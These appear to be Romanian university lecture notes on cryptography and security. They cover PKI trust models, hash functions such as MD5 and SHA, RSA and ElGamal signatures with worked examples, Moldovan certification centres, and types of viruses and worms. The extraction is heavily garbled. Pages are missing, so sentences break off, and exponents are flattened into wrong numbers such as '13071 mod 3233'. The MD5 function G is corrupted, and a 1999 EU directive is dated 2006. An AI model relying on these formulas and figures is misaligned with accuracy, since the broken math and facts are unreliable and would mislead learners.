Figura 7.3. Modelul PKI ierarhic
Sistemele CA rădăcină pot avea încredere între ele, precum și între CA intermediare și cele
de tip frunză. O CA frunză este doar un CA care se află la sfârșitul unei rețele sau lanțuri CA.
Această structură permite a fi creativ și eficient la crearea sistemelor hibride.
În PKI Plasă (Mesh Architecture) CA independente se certifică reciproc (adică îşi eliberează
reciproc certificate), rezultând într-o plasă generală a relaţiei de încredere între CA egale. O parte de
bază ştie cheia publică a unei „CA apropiate”, în general, cea care a emis certificatul său. Partea de
bază verifică certificatul prin verificarea unei căi de certificare a certificatelor care duce de la CA de
încredere.
Spre deosebire de o CA Plasă, CA Pod nu eliberează certificate direct către utilizatorii finali.
Spre deosebire de o CA rădăcină într-o ierarhie, CA Pod nu este destinată utilizării ca un
punct de încredere. Toţi utilizatorii PKI considera CA Pod în calitate de intermediar. CA Pod
stabileşte relaţii punct cu punct cu diferite PKI organizaţionale. Aceste relaţii pot fi combinate
pentru a forma un pod de încredere de utilizatori conectaţi la PKI diferite.
Dacă domeniul de încredere este implementat ca un PKI ierarhic, CA Pod va stabili o relaţie
cu CA rădăcină. Dacă domeniul este implementat ca o PKI Plasă, podul va stabili o relaţie cu numai
una dintre CA. În ambele cazuri, CA care intră într-o relaţie de încredere cu podul este definită ca
fiind principala CA.
16
TEMA 8: FUNCȚII HASH CRIPTOGRAFICE ȘI SEMNĂTURI DIGITALE
Obiectivele temei:
Introducere în funcții hash criptografice și analiza standardelor de hashing.
Introducere în semnături digitale și analiza celor mai utilizate scheme de semnare.
Cuvinte-cheie:
funcție hash, schema de semnătură RSA,
message-digest, schema de semnătură
coliziuni, ElGamal,
MD5, certificate digitale,
familia SHA, centru de certificare.
semnătură digitală,
mai mulţi indivizi să aibă acelaşi zi de naştere este mai mare decât 1 .
2
Atacul, descris de Bruce Schneier, presupune folosirea unei funcţii hash care produce un
rezultat de 64 biţi. Paşii care trebuie parcurşi pentru ca Bob să obţină o semnătură de la Alice pe un
document care n-ar fi semnat, în condiţii normale, niciodată de Alice sunt:
1. Bob pregăteşte două versiuni ale documentului, una care este în ordine şi va fi semnat de
Alice, şi una care conţine informaţii false care nu ar fi semnate de Alice;
2. Bob face schimbări subtile pe fiecare document (de ex. inserare de spaţii etc.), obţinând
223 variante ale documentelor;
3. Bob calculează valorile Hash a fiecărei variante ale celor două documente, şi găseşte
câte una din fiecare grup care produc aceleaşi valori hash;
4. Bob trimite varianta modificată a documentului pe care Alice este dispusă să semneze,
folosind un protocol unde se semnează numai valoarea hash;
5. Acuma Bob poate susţine că documentul pereche cu informaţiile false a fost semnată de
Alice.
Nu este uşor de găsit o funcţie care satisface toate cerinţele de mai sus, totuşi există destul
de multe, mai mult sau mai puţin sigure, funcţii hash folosite în criptografie. Mai jos urmează
descrierea succintă a unora dintre cele mai cunoscute astfel de funcţii.
2
Securitate. Este imposibil de găsit două mesaje care au aceiaşi imagine,
presupunând că nu există altă metodă de criptanaliză decât cea a forţei brute.
Securitate directă. Securitatea nu se bazează pe presupuneri, cum ar fi de exemplu
dificultatea de a factoriza numere mari în cazul RSA.
Viteză. Algoritmul trebuie să fie potrivit pentru implementări rapide de software,
bazându-se pe manipulaţii de bit cu operanzi de 32 biţi.
Simplicitate şi compactitate. Algoritmul trebuie să fie cât se poate de simplu, fără
structuri mari de date sau un program complicat.
Favorizare de arhitecturi Little-Endian. Algoritmul este optimizat pentru arhitecturi
de microprocesoare (mai ales Intel).
Variantă precedentă a algoritmului a fost MD4, dar acesta după ce a fost introdus a fost
criptanalizat cu succes, ce l-a îndemnat pe autor să-si îmbunătăţească codul. Astfel a fost conceput
MD5, ca variantă MD4 îmbunătăţită.
MD-5 este proiectat în baza construcției (funcției) hash Merkle–Damgard, o metodă de
elaborare a funcțiilor hash rezistente la coliziuni (figura 8.1). Astfel, după nişte procesări iniţiale
MD5 procesează textul de intrare în blocuri de 512 de biţi, care sunt mai departe separaţi în 16 sub-
blocuri de 32 biţi fiecare. Algoritmul produce un set de 4 blocuri de 32 biţi, care concatenate dau
ieşirea de 128 bit.
Mai detaliat, inițial mesajul este completat, iar lungimea finală a lui va fi un multiplul al lui
512. Acest procedeu se realizează adăugând un bit de 1 la sfârşitul mesajului şi atâtea zerouri câţi
sunt necesari pentru ca mesajul original să aibă o lungime cu 64 de biţi mai scurtă decât un multiplu
a lui 512. Biții rămași fiind completați cu 64 de biţi care reprezintă lungimea originală a mesajului
modulo 264. Acest procedeu asigură că completarea va arăta diferit pentru mesaje diferite.
Pentru calcule, sunt inițializate 4 variabile cu dimensiunea de 32 de biți, iar valorile inițiale
sunt date în cifre hexazecimale:
A = 0x01234567,
B = 0x89abcdef,
C = 0xfedcba98,
D = 0x76543210.
Starea inițială ABCD se numește vectorul de inițializare.
Cele patru variabile sunt copiate în alte variabile: A în a, B în b, C în c iar D în d.
3
De asemenea, sunt utilizate 4 funcții neliniare pentru patru runde și tabelul constantelor
T[1…64]:
F(X,Y,Z) = (X & Y) | ((!X) & Z),
G(X,Y,Z) = (X & Z) !(Y (!Z)),
H(X,Y,Z) = X xor Y xor Z,
I(X,Y,Z) = Y xor (X | (!Z)),
T[n]=int(232 abs|sin n|),
unde ’xor’, ’&’, ’|’ și ’!’ sunt operatorii logici pe biți XOR, AND, OR și NOT. Valiabilele X, Y și Z
sunt numite cuvinte, la fel și valorile fiecărei funcții.
Fiecare bloc de 512 biți trece prin patru cicluri de calcul a câte 16 runde fiecare. Pentru
aceasta blocul este reprezentat ca un vector X cu 16 cuvinte de 32 de biți fiecare. Toate rundele au
aceeași structură de forma [abcd k s i], definită în felul următor
a = b+((a + f(b, c, d)+X[k]+ T[i]) <<< s),
unde f este funcția neliniară utilizată la runda respectivă, k este indicele cuvântului de 32 de biți din
blocul curent de 512 de biți al mesajului, iar <<< s reprezintă deplasarea ciclică la stânga cu s biți a
argumentului de 32 de biți obținut. Numărul s este specificat separat pentru fiecare rundă.
În final rezultatul este copiat în una dintre variabilele inițiale A, B, C sau D (figura 8.2), iar
la după parcurgerea tuturor blocurilor vom obține valoarea hash-ului stocat în variabile ABCD în
formă hexazecimală.
4
SHA sau Secure Hash Algorithm este o familie de funcții hash criptografice publicate de
Institutul Național de Standarde și Tehnologie (NIST) ca standarde federale de procesare a
informației (FIPS), care include:
SHA-0: Un retronim aplicat versiunii originale a funcției hash pe 160 de biți publicată în
1993 sub numele „SHA”. Aceasta a fost retrasă la scurt timp după publicare din cauza unui „defect
semnificativ“ nedezvăluit și înlocuită cu versiunea ușor revizuită SHA-1.
SHA-1: O funcție de hash pe 160 de biți, care seamănă cu algoritmul MD5. Acesta a fost
proiectat de Agenția Națională de Securitate (NSA) să facă parte din DSA1 (Digital Signature
Algorithm). Pe parcurs au fost descoperite slăbiciuni criptografice ale SHA-1, iar standardul nu a
mai fost aprobat pentru majoritatea utilizărilor criptografice după 2010.
SHA-2: O familie de două funcții hash similare, cu dimensiuni diferite de blocuri, cunoscute
sub numele de SHA-256 și SHA-512, care diferă în dimensiunea variabilelor (cuvintelor); SHA-256
utilizează cuvinte pe 32 de biți, iar SHA-512 - pe 64 biți. Există, de asemenea și versiuni trunchiate
ale fiecărui standard, cunoscute sub numele de SHA-224, SHA-384, SHA-512/224 și SHA-
512/256, de asemenea proiectate de către ANS.
SHA-3: O funcție hash numită anterior Keccak, selectată în 2012 după o competiție publică
între dezvoltatori non-ANS. Acesta susține aceleași lungimi de hash ca și SHA-2, iar structura sa
internă diferă semnificativ de restul familiei SHA.
Standardele corespunzătoare acestei familii de funcții hash sunt: FIPS PUB 180 (SHA
original), FIPS PUB 180-1 (SHA-1), FIPS PUB 180-2 (SHA-1, SHA-256, SHA-384, SHA-512).
NIST are o versiune actualizată Draft FIPS 202, SHA-3, separată de standardul Secure Hash
Standard (SHS).
1
DSA (Digital Signature Algorithm) - Algoritmul pentru semnături digitale, este un standard al guvernului Statelor
Unite ale Americii pentru semnăturile digitale. A fost propus de National Institute of Standards and Technology (NIST)
în august 1991 pentru utilizare în cadrul standardului Digital Signature Standard (DSS), specificat în FIPS 186 și
adoptat în 1993. O revizie minoră a fost emisă în 1996 sub numele de FIPS 186-1 [1]. Standardul a fost extins în 2000
ca FIPS 186-2 [2] și în 2009 ca FIPS 186-3 [3].
5
Figura 8.3. Schema ciclului unei iterații SHA-2
Funcțiile hash ale familiei SHA-2 sunt construite pe baza construcției Merkle-Damgard (la
fel ca MD5 sau SHA-1), iar schema generală de funcționare este următoarea (figura 8.3):
mesajul inițial se completează, apoi este împărțit în blocuri a câte 16 cuvinte;
algoritmul parcurge fiecare bloc al mesajului completat printr-un ciclu cu 64 sau 80
de iterații (runde);
la fiecare iterație sunt transformate 2 dintre cuvinte, restul participând la calcularea
funcției de transformare;
rezultatele procesării fiecărui bloc sunt sumate, rezultatul fiind valoarea funcției hash.
În procesul de calculare a hash-ului algoritmul aplică următorii operanzi pe biți:
concatenarea, adunarea, AND, OR, XOR, SHR și ROOTR, unde SHR este deplasarea logică la
dreapta, iar ROOTR – deplasarea ciclică la dreapta.
6
afecteze de asemenea SHA-3. Mai mult chiar, acesta ar fi mai potrivit pentru o gamă mare de
dispozitive de calcul.
Dintr-un total de 64 de înregistrări care au avut loc iniţial, NIST a identificat cinci finalişti în
2010. Câştigătorul, algoritmul Keccak, se bazează pe o „construcţie hash de tip burete” (sponge
construction), numită astfel deoarece funcţia sa este flexibilă, asemeni unui burete fizic. Datele de
intrare într-o funcție hash sunt „absorbite” în faza de hashing şi apoi „stoarse” pentru a produce
hash. Într-o construcţie de tip burete, stoarcerea mai rapidă produce un hash mai rapid, dar mai
puţin sigur şi vice-versa, oferind flexibilitate.
Algoritmul nou este apreciat de unii specialiști ca fiind în general mai rapid decât
predecesorul său şi prin urmare consumă mai puţină energie, pe când alţi experţi în securitate sunt
mai puţin siguri de utilitatea unui nou algoritm. Având în vedere faptul că nu există nici o
vulnerabilitate evidentă a SHA-2, sistemele pot decide să utilizeze în continuare acest algoritm, mai
degrabă decât să îl schimbe. SHA-2 este încă un algoritm bun, dar poate SHA-3 ar fi mai eficient în
unele situaţii. NIST nu încurajează pe nimeni să abandoneze SHA-2 în favoarea SHA-3, deoarece
cei doi algoritmi sunt foarte buni, iar SHA-3 nu este mai bun decât SHA-2 pe toate planurile.
7
caractere pe care o adăugăm parolei, astfel încât hash-ul să fie diferit. Astfel, chiar dacă doi
utilizatori ar alege aceeași parolă (fie ea și simplă), hash-urile lor ar fi diferite.
Aceste hash-uri sunt însă calculate foarte rapid și ar fi posibil un atac asupra unor parole
individuale. Pentru a împiedica acest lucru sunt utilizate funcții hash mai lente, cum sunt de
exemplu Bcrypt, Scrypt sau PBKDF2.
În 2013, a fost anunțat un concurs pentru a alege un nou algoritm standard pentru hash-ul
parolelor, iar câștigătorul, selectat în iulie 2015, a fost un nou algoritm de extindere a cheii, argon2.
În iunie 2017, NIST a emis o nouă revizuire a regulilor privind autentificarea digitală, NIST SP
800-63B-3, în care se spune că parolele trebuiesc memorate într-o formă rezistentă la atacurile
offline, cu adăugare de sare și cu aplicarea unei funcții hash potrivite.
Protocoale proof-of-work (ce ar putea fi tradus ca dovada muncii) reprezintă o măsură
economică pentru a descuraja atacurile de tip „denial-of-service” și alte abuzuri legate de servicii,
cum ar fi spamul într-o rețea, care necesită o anumită activitate de la solicitantul serviciului, care se
exprimă de obicei prin consumarea timpului de procesare a uni calculator. O caracteristică cheie a
acestor scheme este asimetria acestora: activitatea trebuie să fie moderat dificilă (dar fezabilă)
pentru solicitant, și în același timp ușor de verificat pentru furnizorul de servicii. Proof-of-work se
folosește în rețeaua Bitcoin pentru a securiza diverse aspecte prin a face (artificial) costisitoare
validarea tranzacțiilor pentru utilizatorii din rețea utilizând funcțiile hash.
Identificarea fișierelor de asemenea poate fi realizată cu ajutorul funcțiilor hash într-un mod
fiabil. Mai multe sisteme de gestionare a codurilor sursă, inclusiv Git, Mercurial și Monotone,
utilizează hash-ul SHA-1 a diferitor tipuri de conținut (conținutul fișierelor, ierarhia de directoare,
informațiile despre origine etc.) pentru a le identifica în mod unic. Hash-urile sunt folosite pentru a
identifica fișiere pe rețelele de partajare a fișierelor peer-to-peer. De exemplu, într-o conexiune
ed2k, hash-ul generat de algortimul MD-4 este combinat cu dimensiunea fișierului, furnizând
suficiente informații pentru localizarea surselor fișierelor, descărcarea fișierului și verificarea
conținutului său.
Una dintre principalele aplicații ale unei funcții hash obișnuite este de a permite căutarea
rapidă a datelor în tabelele de dispersie2. Funcțiile hash criptografice pot realiza foarte bine acest
lucru.
Cu toate acestea, în comparație cu funcțiile hash standard, funcțiile hash criptografice tind să
fie mult mai scumpe din punct de vedere computațional. Din acest motiv ele tind să fie folosite în
contexte în care este necesar ca utilizatorii să se protejeze împotriva posibilității de falsificare
2
Un tabel de dispersie sau tabel hash este o structură de date care implementează interfața unui tablou asociativ, și
anume: permite stocarea perechi (cheie, valoare) și efectuarea a trei operații: adăugarea unei perechi noi, căutarea și
ștergerea perechii după cheia cunoscută.
8
(crearea de date cu același hash ca și datele așteptate) de către participanții potențialii rău
intenționați.
Funcțiile hash pot fi de asemenea utilizate pentru generarea de biți pseudoaletori sau pentru
a obține chei noi sau parole dintr-o singură cheie sau parolă securizată.
9
ElGamal. Trebuie de subliniat că şi algoritmi simetrici pot fi folosiţi pentru a crea semnături digitale
de tip one-time dar acestea sunt rar utilizate în practică.
Pentru o semnătură digitală sunt necesare două proprietăţi-cerințe de bază:
în primul rând, o semnătură generată dintr-un mesaj fix și o cheie fixă privată ar
trebui să verifice autenticitatea acestui mesaj utilizând cheia publică
corespunzătoare;
în al doilea rând, ar trebui să fie imposibil de generat o semnătură validă pentru o
entitate care nu posedă cheia privată.
Alte câteva proprietăţi ale semnăturilor digitale sunt:
trebuie să fie uşor de calculat doar de către cel care semnează mesajul (funcţia de
semnare trebuie să fie uşor de calculat);
trebuie să fie uşor de verificat de către oricine (funcţia de verificare trebuie să fie
uşor de calculat);
trebuie să deţină o durată de viaţă corespunzătoare, adică semnătura să nu poată fi
falsificată până când nu mai este necesară scopului în care a fost creată.
Să precizăm încă o dată cele trei motive principale pentru care se recomanda folosirea
semnăturilor digitale.
Autenticitatea. Deşi documentele digitale pot să includă informaţii despre identitatea celui
care le-a emis, aceste informaţii pot să nu fie corecte. Semnătura digitală poate fi folosită pentru
autentificarea sursei documentului. Atunci când dreptul de proprietate asupra unei semnături
digitale aparţine unei anumite persoane, semnătura digitală arată că documentul a fost eliberat de
către acea persoană. Importanţa acestui aspect apare în dovedirea autenticităţii documentelor
digitale în context financiar-contabil. De exemplu actele contabile ale unei firme sunt trimise corect
de către firma de contabilitate către administratorul firmei. Daca acesta va modifica aceste acte
încercând să schimbe informaţiile financiare sau orice fel de informaţii transmise ca fişier PDF/A3
semnat electronic, pentru a putea obţine un credit de la o bancă, în momentul în care banca deschide
acele documente, semnătura electronică va fi invalidată, deci firma de contabilitate nu va putea fi
considerată responsabilă de conţinutul documentului, persoana care a transmis documentul
modificat nu va putea fi urmărită în justiţie pentru fals şi uz de fals, iar banca va fi asigurată că nu
cade în capcana acordării unui credit pe baza unor documente false.
Integritatea. Semnătura digitală aplicată unui document electronic reprezintă o garanţie a
integrităţii documentului atunci când este validată de o autoritate publică. Cheia aleatoare se creează
3
PDF/A este o versiune standardizată ISO a documentului portabil (PDF) specializat pentru utilizarea în arhivarea și
păstrarea pe termen lung a documentelor electronice. PDF/A diferă de PDF prin interzicerea unor caracteristici
necorespunzătoare pentru arhivarea pe termen lung, cum ar fi legarea fontului (spre deosebire de încorporarea
fonturilor) și criptarea.
10
pe baza unor criterii multiple care includ printre altele şi detalii despre conţinutul documentului.
Orice modificare a conţinutului unui document digital înseamnă o cheie aleatoare nouă diferită de
cheia aleatoare folosită pentru aplicarea semnăturii digitale. În clipa în care se solicită validarea
documentului cele două chei aleatoare vor fi diferite, iar documentul se va putea considera ca având
conţinutul alterat.
Imposibilitatea repudierii (non-repudiere). Odată ce este emis un document digital semnat
electronic, atâta vreme cât semnătura electronică este validă pe documentul digital, autorul
documentului nu îşi poate declina răspunderea pentru conţinutul documentului cu semnătura
electronică validă. În plus, nu poate nega faptul că documentul a fost semnat personal, deoarece
legislaţia în vigoare prevede faptul că deţinătorul unei semnături digitale nu are dreptul să
înstrăineze sau împrumute token-ul (dispozitivul criptografic) pe care există certificatul digital
calificat pe care îl deţine. Din acest punct de vedere, exemplul de mai sus în care firma de
contabilitate transmite documentele financiare firmei pentru care le întocmeşte, dacă a comis greşeli
în întocmirea acestor acte, rămâne responsabilă pentru datele prezentate, câta vreme documentul
digital transmis poartă o semnătură validă.
Pentru o semnătură digitală a mesajului m de către entitatea A putem folosi notaţia S, SA(m)
sau SigA(m).
Există două categorii distincte de semnături digitale: semnături digitale cu recuperarea
mesajului și semnături digitale cu anexă
La utilizarea semnăturilor digitale din prima categorie mesajul poate fi recuperat direct din
semnătura digitală. Cel mai simplu exemplu de construcţie este prin inversarea rolului cheii publice
şi celei private în cazul schemei RSA. Pentru a evita fraudarea lor este obligatorie aplicarea unei
funcţii de redundanţă4 asupra mesajului după care semnătura propriu-zisă se aplică asupra mesajului
redundant.
Semnături digitale cu anexă (sau cu apendice, figura 8.4) sunt semnături digitale din care
mesajul nu poate fi recuperat, și este trimis adiţional ca anexă la semnătura digitală. Acestea se pot
construi uşor prin aplicarea unei funcţii hash asupra mesajului şi criptarea hash-ului obţinut.
Datorită eficienţei computaţionale în semnarea mesajelor de dimensiuni mari (deoarece se
semnează efectiv doar hash-ul mesajului care are o lungime fixă pentru fiecare algoritm hash
indiferent de lungimea mesajului), aceste semnături sunt cele mai utilizate în practică. Totodată
orice semnătură digitală cu recuperarea mesajului poate fi uşor convertită în semnătură cu anexă.
4
În informatică, redundanța reprezintă un excedent de semnale pentru transmiterea fidelă a unei cantități de informație.
11
Figura 8.4. Schema unei semnături digitale fără criptarea mesajului
12
doar Bob, adică posesorul cheii privare, poate decripta informația primită utilizând
SKB.
b) pentru semnătura digitală procedeul e următorul:
pentru a semna un document, Bob îi calculează mai întâi valoarea hash, apoi
criptează această valoare cu cheia lui privată SKB, rezultând semnătura digitală a
acestui document; apoi Bob transmite destinatarului documentul cu semnătura
obținută;
pentru a verifica semnătura ea trebuie decriptată cu cheia publică a lui Bob PKB,
obținând valoarea hash a documentului.
Schema semnăturii digitale pentru o entitate A constă din următoarele etape:
1. Generarea cheilor. Această etapă nu se deosebește de etapa similară a algoritmului de
criptare RSA. În rezultatul ei se obține perechea de chei a entităţii A: cheia publică este
perechea (e, n) și cheia privată este d sau (d, n).
2. Generarea semnăturii. Entitatea A execută următoarele:
calculează S = [H(m)]d modn, unde H este o funcţie hash;
semnătura mesajului m este S.
3. Verificarea semnăturii. Pentru a verifica semnătura S a mesajului m, entitatea B execută
următoarele:
obţine cheia publică autentică (e, n) a entităţii A;
calculează H1=Semodn şi H2 = H(m)modn, utilizând aceeași funcție hash; în cazul în
care H1 = H2 semnătura e verificată, în caz contrar înseamnă că s-a întâmplat ceva în
canalul de comunicaţii sau A vrea să-l înşele pe B.
Exemplu. De generat cheile și de semnat mesajul m aplicând schema RSA, dacă se cunoaște
valoarea zecimală a funcției hash: H(m)=130.
1. Generarea cheilor:
fie p = 53 şi q = 61, două numere prime secrete ale lui A;
se calculează n =5361=3233 şi φ(n)=(p–1)(q–1)=5260=3120;
se alege o cheie secreta d = 71 (cmmdc(71, 3120) = 1);
se calculează cheia publică e = 791 (71d = 1 mod 3120);
2. Generarea semnăturii:
deoarece se cunoaște H(m)=130, putem semna documentul:
S = [H(m)]d = (13071) mod 3233 = 1883;
semnătura electronică obţinută este S = 1883;
Se transmite S obţinut la pasul anterior şi m (textul clar – fără secretizare).
13
3. Verificarea semnăturii: B primeşte pachetul S şi m, după care calculează H(m) în două
moduri şi le va compara:
va calcula H(m) cu cheia publică a lui A:
H1=Se = (188371) mod 3233 = 130;
va calcula H(m) prin aplicarea aceleași funcții hash ca și A și va obține
H2 = H(m) = 130;
H1 = H2, deci semnătura este validă.
Aici mai trebuie de menționat că nu vom avea situații precum la criptarea RSA, care să ne
impună să divizăm valoarea hash în segmente cu valori mai mici ca n, deoarece în conformitate cu
standardele în vigoare valoarea lui n este mai mare decât valoarea funcției hash.
14
Exemplu. De generat cheile și de semnat mesajul m aplicând schema ElGamal, dacă se cunoaște
valoarea zecimală a funcției hash: H(m) =1463.
1. Generarea cheilor:
A generează numărul prim p=2357 şi generatorul α=2 al grupului Z*2357;
A alege cheia privată a = 1751 şi calculează
y = αa mod p = 21751 mod 2357 = 1185.
cheia publică a lui A este (p = 2357, α = 2, y = 1185),
iar cheia sa privată este a = 1751.
2. Generarea semnăturii:
pentru a semna mesajul m cu H(m) =1463, A selectează aleator un întreg k =1529,
calculează
r k mod p 21529 mod 2357 = 1490 şi
k –1 mod (p –1) = 245;
apoi A calculează
S=245(1463–17511490) mod 2356=1777.
Semnătura mesajului m = 1463 este perechea (r =1490, s =1777);
3. Verificarea semnăturii:
pentru verificarea semnăturii, B calculează
v1 1185 1490 1490 1777mod 2357 1072 ,
15
În criptarea pe e-mail, la semnarea codului sau în sistemele de semnături electronice,
deţinătorul unui certificat este de obicei o persoană sau o organizație. Cu toate acestea în TLS5
subiect al certificatului este de obicei un computer sau un alt dispozitiv, deși certificatele TLS pot
identifica organizații sau persoane fizice în plus față de rolul principal în identificarea
dispozitivelor.
Similar conceptului de carte de identitate sau paşaport, unde dreptul de a emite un astfel de
document revine unei singure autorităţi la nivel naţional în baza unor documente prezentate de
solicitant, un certificat digital este emis de anumite entităţi denumite autorităţi de certificare. O
astfel de autoritate, pentru a fi acreditată, trebuie să îndeplinească reguli stricte, astfel încât un
certificat emis de ea să reprezinte un grad ridicat de încredere.
Certificatele digitale sunt emise conform standardului ITU X.509 versiunea 3 descris prin
RFC 2459, „Internet X.509 Public Key Infrastructure Certificate and CRL Profile”. Un certificat
digital conţine în principiu următoarele informaţii (figura 8.5):
versiunea, seria, identificatorul certificatului;
numele şi adresa de email a deţinătorului (persoană fizică sau juridică);
adresa URL a server-ului care utilizează certificatul respectiv;
cheia publică a deţinătorului și algoritmul cheii publice;
numele autorităţii de certificare ce a emis certificatul digital;
seria certificatului digital;
valabilitatea certificatului digital (data de început şi data de sfârşit);
unele informații opționale: identificatorul unic al emitentului, identificatorul unic al
subiectului, extensii.
5
Transport Layer Security (TLS) și Secure Sockets Layer (SSL), predecesorul său, sunt protocoale criptografice care
permit comunicații sigure pe Internet. Între SSL 3.0 și TLS 1.0 există anumite diferențe, dar protocolul rămâne
aproximativ același. Termenul „SSL” folosit aici se poate referi la ambele protocoale, excepție făcând cazurile
specificate explicit în context. Utilizarea tehnologiei SSL oferă un grad mai mare de confidențialitate și de siguranță
decât o conexiune web criptată. Aceasta reduce riscul ca informațiile să fie interceptate și utilizate incorect.
16
Figura 8.5. Informații generale și detaliate ale uni certificat digital
17
certificate cu validare extinsă – reprezintă certificatele digitale cu cel mai înalt nivel
de încredere posibil.
Cel mai comun format pentru certificatele de chei publice este definit de X.509. Deoarece
X.509 este foarte general, formatul este constrâns în continuare de profiluri definite pentru anumite
cazuri de utilizare, cum ar fi Infrastructura cheilor publice (X.509) așa cum este definită în RFC
5280.
În Republica Moldova certificarea cheilor publice este realizată de centrele de certificare. În
conformitate cu legislația în vigoare centrele de certificare se creează după principiul ierarhic, după
cum urmează:
centrul de certificare de nivel superior - primul nivel;
centrele de certificare care prestează servicii de certificare a cheilor publice terţelor
persoane - nivelul al doilea;
centrele de certificare create în scopuri corporative, care nu prestează servicii de
certificare a cheilor publice terţelor persoane - nivelul al treilea.
Numărul centrelor de certificare de nivelul doi şi trei nu se limitează.
Centrul de certificare a cheilor publice de nivel superior a fost creat în cadrul Serviciului de
Informaţii şi Securitate al Republicii Moldova în conformitate cu Legea nr. 246 din 15.07.2004 cu
privire la documentul electronic şi semnătura digitală cu respectarea prevederilor Directivei Uniunii
Europene UE/EC/99/93 din 29 iunie 2006. El este pilonul de bază a infrastructurii cheilor publice în
Republica Moldova.
Având ca destinație principală certificarea cheilor publice ale prestatorului de servicii de
certificare în domeniul aplicării semnăturii electronice avansate calificate, Centrul de certificare a
cheilor publice de nivel superior îndeplineşte următoarele funcţii:
certifică cheile publice ale prestatorilor de servicii de certificare în domeniul aplicării
semnăturii electronice avansate calificate;
suspendă valabilitatea, repune în funcţiune şi revocă certificatele cheilor publice
emise de acest prestator;
creează şi ţine registrul certificatelor cheilor publice ale prestatorului de servicii de
certificare în domeniul aplicării semnăturii electronice avansate calificate de nivelul
al doilea;
confirmă autenticitatea şi valabilitatea certificatelor cheilor publice ale prestatorilor
de servicii de certificare în domeniul aplicării semnăturii electronice avansate
calificate.
Pornind de la funcţiile sale, Centrul de certificare a cheilor publice de nivel superior nu
oferă servicii în domeniul semnăturii electronice beneficiarilor finali. În acest sens, Centrul este
18
garant de legalitate şi de credibilitate în raporturile dintre centrele de certificare de nivelul doi şi
clienţii nemijlociţi ai acestora (persoane fizice şi juridice).
Centrele de certificare a cheilor publice de nivel doi sunt Centrul de Telecomunicaţii
Speciale (prin intermediul căruia se realizează și semnătura mobilă Moldcell sau Orange) și Centrul
de Certificare al Întreprinderii de Stat ”Fiscservinform”.
19
TEMA 9: AMENINȚĂRI ȘI VULNERABILITĂȚI LA ADRESA SECURITĂȚII
INFORMAȚIEI
Obiectivele temei:
Descrierea noțiunii de amenințare la adresa securității informației.
Analiza tipurilor de software rău intenționat.
Analiza tipurilor de atacuri informatice.
Familiarizarea cu vulnerabilitățile de securitate și cu managementul vulnerabilităților.
Cuvinte-cheie:
ameninţare pentru programe spion,
securitatea informaţiei, atacuri informatice,
surse de amenințări, vulnerabilități,
viruși informatici, scanner de vulnerabilități.
viermi informatici,
Securitatea informației este obținută și menținută prin implementarea unui set adecvat de
politici, practici, proceduri, structuri organizaționale, instrumente hardware și aplicații software.
Aceste elemente trebuie implementate în măsura în care se asigură atingerea obiectivelor specifice
de securitate.
Este important ca fiecare organizație să poată să-și identifice propriile cerințe de securitate,
iar una dintre căile de a realiza acest lucru este evaluarea riscurilor, adică identificarea
amenințărilor asupra resurselor, evaluarea vulnerabilității la aceste amenințări și probabilitatea de
producere a lor, precum și estimarea impactului potențial.
2
surse naturale - circumstanțele care constituie o forță insurmontabilă (calamități
naturale sau alte circumstanțe care nu pot fi prevăzute sau prevenite, sau pot fi
prevăzute, dar este imposibil de a le preveni), astfel de circumstanțe care au un caracter
obiectiv și absolut, care se aplică tuturor; aceste surse de amenințare nu pot fi anticipate
și, prin urmare, ar trebui întotdeauna aplicate măsuri împotriva lor; sursele naturale sunt
de obicei externe obiectului protejat, iar sub ele, sunt în general înțelese dezastre
naturale.
După cum am menționat mai sus amenințările intenționate constituie principala cauză a
criminalității și a delincvenței, iar cea mai numeroasă clasă de amenințări de acest fel este software-
ul rău intenționat.
4
viruşi de macro-uri – viruşii se plasează într-unul sau mai multe macro-uri din cadrul
documentelor de tip Microsoft Office şi utilizează funcţionalităţile Visual Basic for
Applications;
viruşi pereche – sunt viruşii ce creează un fişier executabil nou, cu acelaşi nume, dar cu
extensia .com. Dacă sunt întâlnite două fişiere executabile cu acelaşi nume, dar cu
extensii diferite: .com şi .exe, sistemul de operare Microsoft Windows lansează întâi
fişierul cu extensia .com;
viruşii de link-uri – sunt viruşii ce alterează structura de directoare, redirecţionând calea
directorului unui fişier infectat către zona în care este localizat virusul. După lansare,
virusul poate încărca fişierul executabil, citind calea corectă a directorului fişierului
respectiv;
viruşi specifici – sunt viruşii ce infectează anumite aplicaţii:
o viruşi de ActiveX – sunt scrişi pentru a infecta produsele Microsoft; utilizează
un cod încărcat pe un server şi se răspândesc în staţiile locale;
o viruşii VB script – folosesc Visual Basic pentru a accesa un cod dăunător de
pe un server web şi a-l răspândi în staţiile de lucru locale; este suficientă
accesarea unei pagini web pentru a infecta sistemul local de operare;
o Java-viruşii – folosesc programele Java pentru a efectua operaţii nedorite pe
staţiile de lucru.
După modalitatea de funcţionare şi de tehnicile folosite, viruşii se clasifică în:
viruşi invizibili – folosesc tehnici de mascare care ascund faptul că sistemul a fost
infectat. Când sistemul de operare încearcă să afle dimensiunea unui program infectat,
virusul ascuns scade o parte din aceste date, egală cu dimensiunea propriului cod şi o
înlocuieşte cu datele corecte. Astfel, dacă programul este doar citit de un scanner de
viruşi, dar nu este rulat, codul viral este ascuns şi nu poate fi detectat;
viruşi polimorfici – folosesc o tehnică de modificare a propriului cod viral, utilizând
tehnici de criptare avansate. Acest proces de modificare se numeşte mutaţie. Prin
mutaţie, un virus îşi poate schimba dimensiunea şi compoziția. În plus, îşi pot modifica
semnătura, fiind astfel mult mai greu de detectat de programele antivirus.
viruşi rezidenţi sau non-rezidenţi în memoria calculatorului:
o viruşi rezidenţi în memorie – se instalează la un nivel înalt al memoriei RAM
pentru a se ataşa fişierelor executabile sau documentelor de tip Microsoft
Office ce sunt deschise la un moment dat; aceşti viruşi pot controla întregul
sistem şi îl pot infecta oricând;
o viruşi non-rezidenţi – sunt activaţi numai la pornirea aplicaţiei gazdă;
5
9.2.2. Viermii informatici
Viermii informatici (worms) sunt programe cu efecte distructive ce utilizează comunicarea
între computere pentru a se răspândi. Viermii au trăsături comune cu viruşii, ei fiind capabili să se
multiplice, asemenea viruşilor, însă nu local, ci pe alte calculatoare, și folosesc reţelele de
calculatoare pentru a se răspândi pe alte sisteme. Spre deosebire de viruși însă, viermii nu pot
infecta un fişier - ei afectează sistemul.
Viermii se răspândesc automat în cadrul reţelelor de calculatoare după principiul „caută şi
distruge” (search and distroy). Ei caută calculatoare ce prezintă vulnerabilităţi, se instalează pe
sistemele respective, efectuează operaţiile distructive pentru care au fost programaţi, compromiţând
